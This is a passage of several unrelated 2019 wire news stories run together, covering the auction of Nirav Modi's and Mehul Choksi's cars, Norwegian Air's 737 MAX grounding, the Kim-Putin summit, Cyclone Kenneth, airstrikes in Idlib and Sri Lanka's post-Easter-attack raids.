Brio. As per MSTC's terms of bidding for the e-auction process, bidders had to deposit an earnest money deposit of matching five per cent of the vehicle's base price they were bidding for. The highest bidders now have 15 days to submit the remaining amount, or their EMD will be forfeit. The highest bid was received for the Rolls Royce Ghost at Rs 1.33 crore, followed by 54.60 lakh for Porsche Panamera, reports suggest. The bids for these two luxury vehicles were exactly equal to their base price for the auction. A Mercedes Benz 4 Matic GL 350 CDI in the lot raised an H1 of Rs 53.76 lakh as opposed to its base value of Rs 37.80 lakh. Meanwhile an Innova Crysta 2.8Z belonging to Mehul Choksi received highest bid of Rs 18.06 lakh as against its base price of Rs 10.50 lakh. Meanwhile, back in London, Nirav Modi was denied bail for the third time by a UK court. ALSO READ:Nirav Modi to remain in prison till May 24 after UK court denies bail again ALSO WATCH: By Victoria Klesty and Terje Solsvik OSLO (Reuters) - Norwegian Air said the grounding of its Boeing 737 MAX aircraft may last until the end of August and could scupper the carrier's plan to return to profitability this year. Boeing's MAX aircraft have been grounded following the crash of a Lion Air plane in Indonesia last October and an Ethiopian Airlines jet last month, which together killed 346 people. The MAX ban will likely raise Norwegian's 2019 costs by up to 500 million Norwegian crowns (44.8 million), the company said, adding that its efforts to cut other operating expenses were moving at a faster-than-expected pace. "Due to the uncertainty related to the MAX grounding, the company sees increased risk related to the target of a positive net profit in 2019," Norwegian said. Norwegian will have to lease other aircraft to replace its 18 MAX planes as the peak summer season nears. "There is a saying that you should hope for the best and plan for the worst, so we are planning to have (the MAX aircraft) on the ground throughout August," Chief Executive Bjoern Kjos told Reuters. Norwegian also reported a bigger year-on-year first-quarter loss on Thursday and sharply cut capital expenditures plans for this year and next, allowing it to save money and give time to improve operations, Kjos said. The Oslo-listed airline has shaken up the long-haul market by offering cut-price trans-Atlantic fares, but its rapid expansion has left it with hefty losses and high debts. The carrier, which has had to raise money from shareholders in recent months, said late on Wednesday it had agreed with Boeing and Airbus to postpone more aircraft deliveries. This will cut its planned 2019 capital expenditure by $300 million (233 million) to $1.7 billion, while it now sees 2020 capex at $1.2 billion, half of its previous estimate. Norwegian has now completed its programme to delay orders, Kjos said. "We have come to a very good conclusion, or settlement, with the factories and that gives us headroom to actually concentrate on running an efficient operation over the next two years." Story continues Norwegian's shares were up 4.4 percent at 0930 GMT. The budget carrier posted a quarterly net loss of 1.49 billion Norwegian crowns, versus a 46.2 million crowns loss a year earlier, while analysts in a Reuters poll on average had expected a loss of 1.65 billion crowns. "Today's results were good enough for this company to continue flying in the near-term, but do not fully solve underlying structural issues," Bernstein said in a note. Kjos declined to say whether Norwegian had come to an agreement with Boeing regarding compensation for the aircraft groundings. "We try to manoeuvre through these difficult things for both Boeing and us in the best way possible," Kjos said. "The only thing I can say is that ... Boeing has a full understanding of the problems these groundings are causing us." In February, Norwegian said it would prioritise earnings over growth, cutting a 2019 target for capacity increases to just 9 percent from 15-20 percent. On Thursday it predicted capacity growth of 5-10 percent. (Editing by Gwladys Fouche/Himani Sarkar/Jane Merriman) Belt and road delegates welcome Xi Jinpings pledges, but now they want action to back them up Xi Jinpings latest promises of partnership and fair treatment for foreign companies received a cautious welcome from diplomats and delegates at the Belt and Road Forum on Friday, but they also called for concrete action to back them up. The Chinese president promised in his speech that China will further open up, lower tariffs, increase imports, strengthen intellectual property protection and strictly forbid forced technology transfers. He also said China would not seek a trade surplus and promised that foreign partners would be invited to help develop the flagship trade and infrastructure plan in an environmentally sustainable manner. A Belarus diplomat, who declined to be named, said the speech was largely the same as previous speeches, including his pledges to further open the Chinese economy. But the diplomat said it was positive to hear that China did not seek a trade surpluses with other countries. Belarus logged a US$2.5 billion trade deficit with China last year. Malaysias Mahathir backs Chinas belt and road but insists on open trade routes The diplomat also said that Belarus would welcome further foreign direct investment from China. Xis speech was delivered hours after the announcement by US President Donald Trump that Xi would soon visit the White House and some of his pledges corresponded with American demands in the talks to end the trade war. Peter Altmaier, the German minister for economic affairs and energy, said the speech was encouraging in terms of his commitments to address long-standing problems such as obstacles to market access and the regulatory problems faced by German and other European companies. This now needs to be implemented, he told reporters at the sidelines of the forum. China is under growing pressure to respond to external criticisms that its overseas infrastructure projects lack transparency, risk pushing recipients into debts they cannot repay and have failed to boost local economies and employment. Story continues Mohammad Abunayyan, chairman of Riyad-based Acwa Power, said Xis speech focused significantly on the next steps for the Belt and Road Initiative, as well as areas such as transparency and anti-corruption. He continued: Unfortunately, many countries have really suffered from this [corruption issues], and it has been, I have to say, a significant deficiency in many of these countries. Also, he has opened the horizon to social and economic transformation and exchange. Delegates lost and confused at China's high-profile Belt and Road Forum George Tzogopoulos, a delegate from Greece and senior research fellow at the Centre International de Formation Europeenne (CIFE), said Xis speech was notable for emphasising innovation, the fight against corruption, as well as green development. Cooperation to protect the environment needs to be strengthened, and thats why President Xi made a reference to that, he said. In a period in which several countries are sceptical about what the Belt and Road Initiative means, China is sending messages about win-win cooperation suggesting that the project is an inclusive one. Tzogopoulos said it was important that Xi spoke about China not wanting to maintain trade surpluses with other countries, adding that Greece and others in the European Union should seek out ways to export high-quality products and services to China. So many trains go from China to Europe, but they do not come back full, so this are a very good opportunity. But again this depends on the quality of the products that can be sent to China, he said. This article Belt and road delegates welcome Xi Jinpings pledges, but now they want action to back them up first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2019. China said on Thursday it had begun a new round of joint naval exercises with its military partners from six Southeast Asian nations in waters off its east coast. Vice-Admiral Shen Jinlong, commander of the PLA Navy, said 13 warships and four helicopters would take part in the drills in Qingdao, Shandong province, where China on Tuesday held a naval parade as part of celebrations to mark the 70th anniversary of the founding of its maritime force. The countries taking part included Thailand, the Philippines, Singapore and Vietnam, Shen said, without naming the other two. The joint drills are designed to show Chinas sincerity and willingness to work with its neighbours, as well as the PLA Navys passion to build a maritime community with a shared future by enhancing security cooperation and mutual trust with all of its counterparts in Southeast Asia, he was quoted as saying in a statement. The exercises would focus on ship formations and movement, search and rescue, inspection and capture, and medical procedures among other skills, the statement said, adding that Indonesia and Laos would send observers to the event. The joint drills come as Beijing is locked in a number of territorial disputes in the South China Sea with several of its Southeast Asian neighbours, including the Philippines and Vietnam. According to Macau-based military expert Antony Wong Dong, the move suggested Beijing was keen to curry favour in the region to offset similar efforts by the United States. The joint drill is a timely tactical measure aimed at countering American influence on Southeast Asian countries, he said. And the presence of so many representatives from the 10-member Association of Southeast Asian Nations (Asean) in Tuesdays naval parade was evidence Chinas efforts were paying off, he said. Brunei, Malaysia, the Philippines and Vietnam all of which have territorial disputes with Beijing were represented by five warships at the event. Story continues After building up a rapport with the parade, China is keen to make good use of the navys anniversary to reinforce its links with Asean countries and draw them away from the United States, Wong said. China did not say how long the joint drills with Asean would last, but the defence ministry said on Thursday that the navy would on Monday begin a six-day joint exercise with its Russian counterparts off the coast of Qingdao. The China-Russia drills would involve two submarines, 13 surface vessels and 11 aircraft, it said. Also on Thursday, the PLA Navy bade farewell to the 18 vessels from 13 nations that took part in the anniversary flotilla. The event was observed by delegations from 61 countries. In contrast to the poor weather on the day of the parade, Thursdays farewells took place under blue skies and large crowds gathered to watch as tugboats guided the Malaysian frigate Leiku out of Qingdao port to the accompaniment of a Chinese navy band. Before departing, the leaders of the foreign delegations and media representatives were taken on guided tours of the PLA Navys Guiyang Type 052D guided-missile destroyer, the 25,000-tonne Type 071 amphibious transport dock Jinggangshan, and its Peace Ark hospital ship which were among the 32 Chinese vessels that took part in the parade. I am so impressed by the development of the PLA Navy over the past few years, and we welcome all kinds of military-to-military engagements and encounters, said Vice-Admiral Nikolaos Tsounis, the commander of the Greek navy. More from South China Morning Post: This article China begins joint naval drills with six Southeast Asian nations first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2019. European Commission presidential candidate Manfred Weber is in favour of cutting funds to member states that fail to meet EU standards on the rule of law, he said in an interview published Friday. The European Parliament had in January adopted a draft law to that effect, seen as a new tool to fight threats to the independence of the courts and corruption in countries like Hungary, Poland and Romania. "I agree with the idea to link the penalties in such procedures to European funds," Weber told the Baltic News Service while on a visit to Lithuania. "I propose to upgrade the rule of law mechanism," said the leading centre-right candidate in next month's European Parliament elections. The German politician added that current rules "could not prevent recent developments in Poland, Hungary or Romania," eastern European states repeatedly criticised by Brussels for shortcomings. He dismissed the suggestion that such sanctions could ramp up euroscepticism, saying that "a lot of people in Poland, Romania and elsewhere... demand their governments to protect their basic freedoms and democratic institutions." Weber is the centre-right European People's Party candidate and frontrunner to replace Jean-Claude Juncker as president of the European Commission. In a wide-ranging interview, Weber hinted at an EU accession "perspective" for Ukraine but said he "will stop the enlargement talks" with Turkey if elected. "For Ukraine there is still a long way to go, membership is not feasible now, everybody knows this. But there must be a European perspective," he said. Weber also said that the EU must be ready to ramp up sanctions against Russia if needed, saying the bloc has "to assess the impact" of the Kremlin's recent decision to grant Russian passports to Ukrainians living in eastern areas controlled by pro-Moscow separatists. (Reuters) - Italian Prime Minister Giuseppe Conte said on Friday he had assured China's Huawei Technologies that it would not face discrimination in the rollout of Italy's 5G telecoms network. Conte was speaking on a visit to China where he said he met Huawei's chief executive, Ren Zhengfei. The prime minister's comments were carried in Italy by TV broadcaster Sky Italia. "I told him that we have adopted some precautions, some measures to protect our interests that demand very high levels of security ... not only from Huawei but any company entering into the 5G arena," he said. Huawei, the world's biggest producer of telecoms equipment, is under intense scrutiny after the United States told allies not to use its technology because of fears it could be a vehicle for Chinese spying. Huawei has categorically denied this. (Writing by by Mark Bendeich; Editing by Angelo Amante) Commuters crossing the Causeway from Johor Baru during morning rush hour in Singapore. (FILE PHOTO: Reuters/Edgar Su) SINGAPORE Malaysia is set to enforce its mandatory registration of all foreign vehicles from Singapore starting from 1 October, its Ministry of Transport said in a media statement on Thursday (25 April). Motorists will need to be registered under the Vehicle Entry Permit (VEP) scheme before they are allowed to enter Malaysia. The procedure can be done online via the Road Transport Department of Malaysia website. Once registered, the owner of the vehicle will receive an e-mail notification to schedule an appointment for the installation of the VEP-RFID (radio-frequency identification) tag, the statement said. The VEP for each registered motor vehicle will be valid for a period of five years. Vehicle owners can collect and install their VEP-RFID tag at four designated centres in Johor Baru the Gelang Patah Southbound rest stop, the Plaza Angsana Open Carpark, the Pandan rest stop and at the Lima Kedai Toll Plaza. The new ruling is part of the first stage of the full implementation of the VEP scheme. After the Causeway and Second Link, the scheme will next be implemented at the Malaysia-Thai border. The third stage will involve the border between Malaysia with Brunei as well as Indonesia. Malaysian authorities have not set commencement dates for the next two stages. The VEP scheme was to be implemented in late 2018, but encountered delays due to a hike in operational costs. Malaysia already has an existing RM20 (S$6.60) road charge for foreign vehicles entering the country via Johor. It is separate from the VEP and chargeable each time such a vehicle enters the country. Singapore also charges a S$35 VEP fee per day for every day after the first 10 days in the Republic. Other Singapore stories: Apple recalls 3-prong wall plug adapters with risk of electric shock NUS hears students' grievances on sexual misconduct issue, promises immediate change Metro scion Ong Jenn gets additional jail term for cannabis use, possession The Westminster Magistrates' Court in London on Friday denied bail to fugitive diamantaire Nirav Modi for the third time. He was presented before the court via video conferencing. Now, the Indian businessman will remain under police custody in London till May 24. The date for full hearing in his case is scheduled on May 30. Reports suggest that the UK court extended Modi's judicial custody as no new documents were submitted by his legal team. The Westminster Magistrates' Court had also asked Indian investigation agencies to submit more documents related to the case. The Indian agencies are trying to extradite Modi to India. Indian agencies have been closely following the proceedings in London to prepare a strong extradition case against Nirav Modi. The Central Bureau of Investigation and Enforcement Directorate, which are looking into the Rs 14,000-crore bank fraud case at Punjab National Bank, are in direct communication with the Crown Prosecution Service (CPS) and will share additional evidence to strengthen the case against Nirav Modi. The CPS is arguing the case on the behalf of Indian authorities. ALSO READ:Silver exports fall 75% after Nirav Modi, Mehul Choksi flee India The bench of Chief Magistrate Emma Arbuthnot had turned down Nirav Modi's earlier bail pleas on grounds that he was a flight risk and could flee the country if given the chance. The court had also noted that Modi could tamper with evidence if left free. It has been revealed in earlier hearings that Modi had threatened to kill a witness and bribe another in order to escape justice. Last month, an arrest warrant was issued against Nirav Modi after UK home Secretary Sajid Wajid cleared extradition request of Indian investigating agencies probing the PNB scam. Following this, the Scotland Yard had arrested Nirav Modi from the Metro Bank in Holborn after a bank employee recognised him. Meanwhile, back in India, the Enforcement Directorate auctioned 13 luxury cars belonging to Nirav Modi and Mehul Choksi. The bidding process raised Rs 3.29 crore, which will be used to recover the amount defrauded in the PNB fraud case. ALSO READ:ED auctions 13 luxury cars of Nirav Modi, Mehul Choksi for Rs 3.29 crore ALSO WATCH: A powerful cyclone pounded northern Mozambique on Friday, leaving one person dead and wrecking homes and communications, barely a month after the country was hit by one of the worst storms in its history. Cyclone Kenneth, a Category Three storm on the hurricane scale, made landfall in Cabo Delgado province late Thursday after swiping the Comoros islands. By mid-Friday, its peak winds of 160 kilometres (100 miles) an hour had fallen back to about 70 kph, according to the national meteorological institute. But heavy rains were forecast over the next 24 hours, fuelling the risks of floods and mudslides in the poor region. Mozambique's emergency agency, the INGC, reported a death caused by a falling coconut tree in the port city of Pemba, Cabo Delgado's provincial capital, along with severe flooding, mudslides and widespread power outages. The International Federation of Red Cross and Red Crescent Societies (IFRC) reported "heavy damage" and wrecked homes in some coastal towns along the northern coast, while communication lines in Macomia and Muidumbe remain down. In many affected communities, areas "are prone to flooding and landslides in normal rainfall, and this is far from a normal situation," it warned. - 'Biblical' - On the tourist island of Ibo, home to 6,000 people, 90 percent of homes had been flattened, according to a spokesman for the INGC, Antonio Beleza. "It looks like the island has been bombed... It is biblical," said a South African tour operator and owner of a hotel on Ibo, Kevin Record. Communities in central Mozambique are still reeling from Cyclone Idai, which hit on the night of March 14-15, causing killer floods that swept away homes, roads and bridges. The storm also smashed into Zimbabwe and Malawi. In the three countries, more than a thousand lives were lost, and damage is estimated at around $2 billion (1.8 billion euros). The UN World Food Programme (WFP) on Thursday said Kenneth was expected to dump over 600 millimetres (almost 24 inches) of rain over the next few days in some areas. By way of comparison, this would be nearly double the amount that fell on the central city of Beira during Cyclone Idai -- a downpour that turned parts of the region into an inland sea. - 'Additional blow' - "Although floodwaters have receded in most areas it (Idai) affected, access is still a challenge as infrastructure was severely compromised," the WFP warned. "This second cyclone is an additional blow for the people of Mozambique and bound to complicate the humanitarian response." The UN agency added that it had already provided food aid to 1.3 million people after Idai. The government has made public buildings including schools available to people seeking shelter and the WFP has "pre-positioned" over 500 tonnes of food. A helicopter is expected to arrived in Cabo Delgado when weather conditions allow as roads are expected to be impassable because of flooding, making food delivery difficult. Forecasters at Meteo-France warned that Kenneth could trigger waves off Mozambique's northeastern shore as much as five metres (16 feet) higher than usual. - Tanzania worried - In neighbouring Tanzania, the authorities issued red alerts to warn of the dangers from rain, floods and landslides. The provinces of Mtwara, Lindi and Ruvuma were at highest risk, the country's meteorological agency said. Residents in Mtwara were leaving the coastal enclave with their families, some on foot, for emergency shelters, witnesses told AFP by phone. Gelasius Byakanwa, the governor of Mtwara, ordered schools closed in his province and asked "students to stay home and employees not to go to their offices". In Geneva, the World Meteorological Organization (WMO) said Mozambique's back-to-back cyclones were unprecedented. "There is no record of two storms of such intensity striking Mozambique in the same season," the UN's weather agency said. A fact-finding WMO mission in Mozambique will look at the "impact of climate change and sea-level rise on Mozambique's resilience" to extreme weather, it said. Climate change has made cyclones more damaging, as rising sea levels have increased the strength of storm surges, WMO spokeswoman Clare Nullis told AFP. Higher or more powerful waves are driven towards the shore, potentially posing a greater risk for coastal-dwelling populations. By Hyonhee Shin SEOUL (Reuters) - The demotion of Kim Yong Chol, North Korean leader Kim Jong Un's point man for nuclear talks with the United States, signals that long-time diplomats who had been sidelined from the process will return to centre-stage, diplomatic sources in Seoul and regional experts said. The hawkish former general and spymaster was recently removed from a key party post, taking the fall for the failed Hanoi summit between Kim and U.S. President Donald Trump. Kim Yong Chol remains a formidable force in Pyongyang but there is no word whether he has been given a new role in the ultra-secretive North Korean power structure. He did not accompany Kim Jong Un to Russia this week for a summit with President Vladimir Putin, the North Korean leader's first international foray since his Hanoi meeting with Trump in February ended in disarray. Foreign Minister Ri Yong Ho and his deputy, Choe Son Hui, flanked the North Korean leader at the meeting in Vladivostok, including riding in his car, a highly unusual display of proximity. "The Hanoi summit damaged the North's long-held principle that its leader never makes an error, so they have to shift the blame," said Kim Hyun-wook, a professor at the Korea National Diplomatic Academy in Seoul, referring to Kim Yong Chol's demotion. "This may not mean an immediate shift in their U.S. strategy, but the diplomats will likely take the initiative to contain the fallout from Hanoi and promote diplomacy with various countries." Kim Yong Chol was beside Kim through the last 12 months, including for his three meetings with South Korean President Moon Jae-in, two with Chinese President Xi Jinping and the two Trump summits, in Singapore and Hanoi. But for those who have known him as a hardline military general, Kim Yong Chol never seemed comfortable with the art of negotiating the roll back of his country's nuclear programme in exchange for concessions from the United States. Story continues Kim avoided getting into details at negotiating sessions, instead leaving it to diplomats to build strategy, two diplomatic sources in Seoul familiar with the North's diplomatic engagements said. Even then, he refused to yield control, one of the sources said. "Whether or not he understood the issues, he kept a tight grip on the negotiations. It seemed like: 'Over my dead body I'm going to let Ri Yong Ho take over,'" the source said, referring to the North's foreign minister. 'REAL SPOKESWOMAN' The collapse of the Hanoi summit was a major setback for Kim Jong Un, who, several sources said, was led to believe by hawkish aides like Kim Yong Chol that he was about to win sought-after sanctions relief in return for a promise to partially scrap nuclear facilities. Cheong Seong-chang, a senior fellow at South Korea's Sejong Institute, said the demands Kim made of Trump in Hanoi had the hallmarks of the "best scenario" strategy advocated by hawks like Kim Yong Chol. "But it turned out to be a scenario that the United States could never accept," Cheong said. "Kim Jong Un cutting his reliance on Kim Yong Chol is a positive sign for the negotiations." While Ri has gradually been promoted under Kim, the influence of Vice Foreign Minister Choe has surged since the Hanoi summit, officials and North Korea experts said. She was a junior player on the North's U.S. diplomacy team in the 1990s and became the first vice foreign minister and a member of the powerful State Affairs Commission this month. She held several news conferences after the collapse of the Hanoi summit, playing the rare role of conveying Kim Jong Un's thinking. Thae Yong Ho, former North Korean deputy ambassador in London who defected to the South in 2016, said Choe has joined an inner circle of women close to Kim Jong Un, including his sister and his wife. "Now she's the real spokeswoman for Kim Jong Un," Thae told a forum hosted by the Asan Institute of Policy Studies on Wednesday in Seoul. "How can Choe read his mind? Because she has access." A diplomatic source also said Choe appears to have built rapport with Kim Yo Jong, Kim's sister who is also a senior party official, which contributed to her recent promotion. "We have to remember that (Foreign Minister) Ri and Choe are not only North Korea's best people for the job of dealing with the U.S.," said Michael Madden, a North Korea leadership expert at the U.S.-based Stimson Center. "But they both have known the leader since he was a small boy so there is a dynamic of their wanting to see Kim Jong Un thrive and succeed." (Reporting by Hyonhee Shin; Additional reporting by Joyce Lee; Editing by Jack Kim and Raju Gopalakrishnan) President Donald Trump on Friday welcomed Russian and Chinese help with North Korean nuclear negotiations, despite Kim Jong Un accusing the US of "bad faith" at a first summit with Vladimir Putin. "I appreciate that Russia and China are helping us," he told reporters at the White House. Putin's first summit with Kim on Thursday was seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without agreement. But Trump indicated that he does not see China and Russia as rivals in the struggle to get North Korea to give up its nuclear arsenal. "China is helping us because I think they want to. They don't need nuclear weapons right next to their country," Trump said. "I think we're doing very well with North Korea. A lot of progress is being made," he added. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea." Kim left his summit with Putin indicating that he has cooled on the much-touted bid by Trump to woo his country into a non-nuclear future. The official Korean Central News Agency reported that Kim told Putin the US had adopted a "unilateral attitude in bad faith" at the Hanoi summit. "Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation," Kim was quoted as saying. Putin backed the North's demand for "security guarantees" in its standoff with the United States over the nuclear capability, which Washington wants to see scrapped entirely, but Pyongyang fears would leave the country vulnerable. - Hitch in Trump-Kim 'love' - Trump has claimed that he and Kim have a special friendship and even "love." But their second summit, held in Hanoi, broke down in late February without a deal, after cash-strapped Pyongyang demanded immediate relief from sanctions. Russia has also called for the sanctions to be eased, while the US has accused Moscow of trying to help Pyongyang evade some of the measures. In another setback just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supported efforts to reduce tensions and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". It was "what the North has been saying all along" said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putin's support for Pyongyang's stance was the "biggest prize" Kim won in Vladivostok. - Visit cut short? - Putin flew on to another summit in Beijing the same day, while Kim stayed in Vladivostok and had been due to take part in a series of cultural events. The mercurial North Korean kept officials in suspense about his post-summit plans. A wreath-laying ceremony was delayed by two hours on Friday morning, with an honour guard kept waiting and the red carpet rolled up. Kim eventually showed up and the wreath was laid. Solemn music played as he stood, hat in hand wearing a black double-breasted waistcoat. Russian media had reported that Kim would be visiting the city's aquarium and seeing a ballet, but the visit was apparently cut short. Kim instead turned up at the train station in the afternoon and, after a final departure ceremony with a military band, boarded his train and left around 3:30 pm (0530 GMT). - 'New heyday' in relations - Putin and Kim said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. Kim said he hoped to usher in a "new heyday" in ties. The North Korean strongman invited Putin to visit "at a convenient time" and the invitation was "readily accepted", KCNA said. "Kim met Putin because he wanted to show he had someone on his side," said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. "Kim is seeking the upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that." But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be "surprised or alarmed". burs-sms/har North Korean leader Kim Jong Un accused the US of acting in "bad faith" at his summit with Russia's Vladimir Putin, Pyongyang's state media said Friday after he secured Moscow's backing in his standoff with Donald Trump. Kim and Putin met Thursday in the far eastern Russian port of Vladivostok for their first summit -- squarely aimed at countering US influence with Pyongyang and Washington deadlocked over the North's nuclear arsenal. Putin was keen to put Moscow forward as a player in a new global flashpoint -- and it appears Kim was eager to take him up during talks described by KCNA as "unreserved and friendly". Putin, known for delaying meetings with international guests, was waiting for Kim when he emerged from his limousine and the two leaders greeted each other warmly before nearly five hours of meetings on an island off Vladivostok. During the discussions, Kim said the Korean situation was "a standstill and has reached a critical point", the official Korean Central News Agency said. He added the US adopted a "unilateral attitude in bad faith at the recent second DPRK-US summit talks", the agency said, and that "Peace and security on the Korean peninsula will entirely depend on the US future attitude." The Kim-Trump summit broke down in late February without a deal on North Korea's nuclear arsenal, after cash-strapped Pyongyang demanded immediate relief from sanctions but the two sides disagreed over what the North was prepared to give up in return. Russia has already called for the sanctions to be eased, while the US has accused it of trying to help Pyongyang evade some of the measures -- accusations Moscow denies. Just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks, accusing him of derailing the process. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supports efforts to reduce tensions and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". It was "what the North has been saying all along" said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putin's support for Pyongyang's stance was the "biggest prize" Kim won in Vladivostok. - 'New heyday' - Both leaders said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. The two shared a lunch that included borscht, crab salad and venison dumplings, Russian news agency TASS reported. The North Korean leader invited Putin to visit North Korea "at a convenient time" and the invitation was "readily accepted", KCNA said. "Kim met Putin because he wanted to show he had someone on his side," said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. "Kim is seeking an upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that." But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be "surprised or alarmed". Kim attended a wreath-laying at a World War II memorial to Russia's Pacific Fleet in Vladivostok on Friday, and was expected to board his armoured train later to return home. - 'No secrets - The Vladivostok summit was Kim's first with another head of state since returning from Hanoi. It followed repeated invitations from Putin after Kim embarked on a series of diplomatic overtures last year. Since March 2018, the North Korean leader has held four meetings with Chinese President Xi Jinping, three with South Korea's Moon Jae-in, two with Trump and one each with the leaders of Vietnam and Singapore. There were no concrete announcements or agreements in Vladivostok, but analysts said Thursday's meeting was valuable to both sides. "For North Korea, it's all about securing another exit. China talks about sanctions relief but it doesn't really put it into action," said Koo Kab-woo, of the University of North Korean Studies. "For Russia, North Korea is elevating it back to one of the direct parties, on the same footing as China." Soon after his first election as Russian president, Putin sought to normalise relations with Pyongyang and met Kim Jong Il -- the current leader's father and predecessor -- three times, including a 2002 meeting also held in Vladivostok. China has since cemented its role as the isolated North's most important ally, its largest trading partner and crucial fuel supplier, and analysts say Kim could be looking to balance Beijing's influence. The last meeting between the leaders of Russia and North Korea came in 2011, when Kim Jong Il told then-president Dmitry Medvedev that he was prepared to renounce nuclear testing. His son has since overseen by far the country's most powerful blast to date, and launches of missiles capable of reaching the entire US mainland. Air strikes by Syrian regime ally Russia killed 10 civilians in the jihadist-held northwestern region of Idlib on Friday, a monitor said, as unsuccessful peace talks ended in Kazakhstan. The raids killed three civilians including a boy on the outskirts of the town of Kafranbel, and seven including a girl in the town of Tal Hawash, the Britain-based Syrian Observatory for Human Rights said. Syria's civil war has killed more than 370,000 people since it started in 2011, and endless rounds of negotiations have failed to stem the bloodshed. The Damascus regime has won back large parts of the country from rebels and jihadists since Russia intervened in the war in 2015. But several key areas remain beyond government reach, including Idlib, which is controlled by a former Al-Qaeda affiliate. Russia and rebel-backer Turkey in September inked a buffer zone deal to prevent a massive regime offensive on Idlib and nearby regions, close to the Turkish border. But the area, currently home to some three million people, has come under increasing bombardment since jihadist group Hayat Tahrir al-Sham took full control of it in January. The latest air raids came as two days of talks on ending the war in Syria -- sponsored by Russia, fellow regime ally Iran, and rebel backer Turkey -- concluded in Kazakhstan. In a statement released after the meeting, the three countries expressed concern about HTS extending its influence in Idlib. They stressed their "determination to continue cooperation in order to ultimately eliminate" HTS and the Islamic State group, the statement said. US-backed forces expelled IS from the last patch of their 2014 "caliphate" last month, but the jihadists still have a presence in the Syrian desert and sleeper cells elsewhere. - '200 dead since February' - The United Nations has expressed worry over the new wave of bombardment on the Idlib region, around which a buffer zone was never fully implemented. "I am alarmed by the recent escalation of violence and hostilities in and around the demilitarised zone in north-western Syria," the UN regional coordinator for Syria, Panos Moumtzis, said Thursday. "Since February, over 200 civilians have reportedly been killed in Idlib," he said. The fighting had also resulted in 120,000 people fleeing to areas closer to the Turkey border, he added. Syria's war has displaced millions since it began with the repression of anti-government protests in 2011. The talks in Kazakhstan Friday ended without notable progress on forming a committee to draw up a post-war constitution for the country. The meeting had broached the issue with UN Special Envoy for Syria, Geir Pedersen, but further talks in Geneva would be needed, the joint statement said. The parties were committed to "the establishment and the convening of the Constitutional Committee at the earliest in Geneva, holding the next round of consultations in Geneva" and supporting UN efforts, it read. But talks in Kazakhstan would also continue, with Syria's neighbours Iraq and Lebanon to be invited to the next round of talks in July. Jordan and the United States have observed the talks in the past. After years of failed UN-led negotiations to end the war, Russia has taken a lead role in diplomatic efforts through the so-called Astana process. The capital of Kazakhstan was called Astana until last month, when it was renamed Nur-Sultan after the country's outgoing president. Fifteen people including six children died in a battle between Sri Lankan security forces and suicide bombers who blew themselves up in the latest fallout from the Easter attacks, police said Saturday. Three men set off explosives that killed themselves, three women and six children inside what was believed to be a jihadist hideout near the eastern town of Kalmunai. "Three other men, also believed to be suicide bombers, were found dead outside the house," police said in a statement. They were shot dead by security forces, police officials added. Security forces tried to storm the house late Friday and a one-hour long gun battle ensued before the explosions, a military official said. A civilian was also killed in the crossfire during the raid near the predominantly Muslim town. Hundreds of families later fled their homes. Police and troops have stepped up searches after the Islamic State group claimed responsibility for the attacks on three churches and three luxury hotels, which killed least 253 people and injured 500. Kalmunai is in the same region as the home town of the jihadist Zahran Hashim who founded the group accused of staging the attacks. Police and officials said a series of tip offs after the arrest of Hashim's driver, Mohamed Sharif Adam, in Hashim's home town of Kathankudy led them to the safe house. Officials said the driver provided information leading to a raid on Friday on a hideout south of Kathankudy where they believe Hashim and other bombers recorded a video pledging allegiance to Islamic State leader Abu Bakr al-Baghdadi before carrying out the Easter attacks. - Islamic State flag - Video on state television showed explosives, a generator, a drone and a large quantity of batteries inside the converted studio. An IS flag and uniforms similar to those worn by the eight fighters in the video were also found, police said. That in turn provided a tip off about the hideout in Kalmunai, 370 kilometres (230 miles) east of the capital. Authorities named Hashim's group, National Thowheeth Jama'ath (NTJ), as the perpetrators of the attacks. They announced Friday that he had been killed in the bombing of the Shangri-La hotel in Colombo. President Maithripala Sirisena used emergency powers to ban the NTJ and a splinter group identified as Jamathei Millathu Ibraheem (JMI), his office said in a statement Saturday. "All movable and immovable property of these two organisations will be confiscated," the statement said. The government is on the defensive over its failure to heed a foreign intelligence warning that NTJ was planning suicide bombings on churches. Police chief Pujith Jayasundara became the second high-ranking official to resign over the blunders Friday, after top defence ministry official Hemasiri Fernando stepped down. - Private prayers - Sri Lanka's Catholic leader, Cardinal Malcolm Ranjith, the archbishop of Colombo, has said he felt "betrayed" by the government's failure to act on the warnings. Prime Minister Ranil Wickremesinghe apologised on Friday. "We take collective responsibility and apologise to our fellow citizens for our failure to protect victims of these tragic events," he wrote on Twitter. Amidst fears of new attacks, the Roman Catholic church has suspended all public services across the country until security is guaranteed by the government. The archbishop, who has appealed to Catholics to stay home and say private prayers, is to hold a special mass at his official residence Sunday which will be broadcast live on television. Some groups were expected to hold public vigils in Colombo and Negombo, where St Sebastian's Church suffered some of the worst casualties in the bombings. The military have poured troops onto the streets to back up police as they search for suspects using newly granted powers under a state of emergency. At least 94 people are in custody, including a man believed to be the father of two of the bombers. Authorities warned the hunt would continue. "We now have info that there are about 140 people in Sri Lanka linked to the Islamic State. We can and we will eradicate all of them very soon," Sirisena said Friday, when he announced the new legislation to tackle 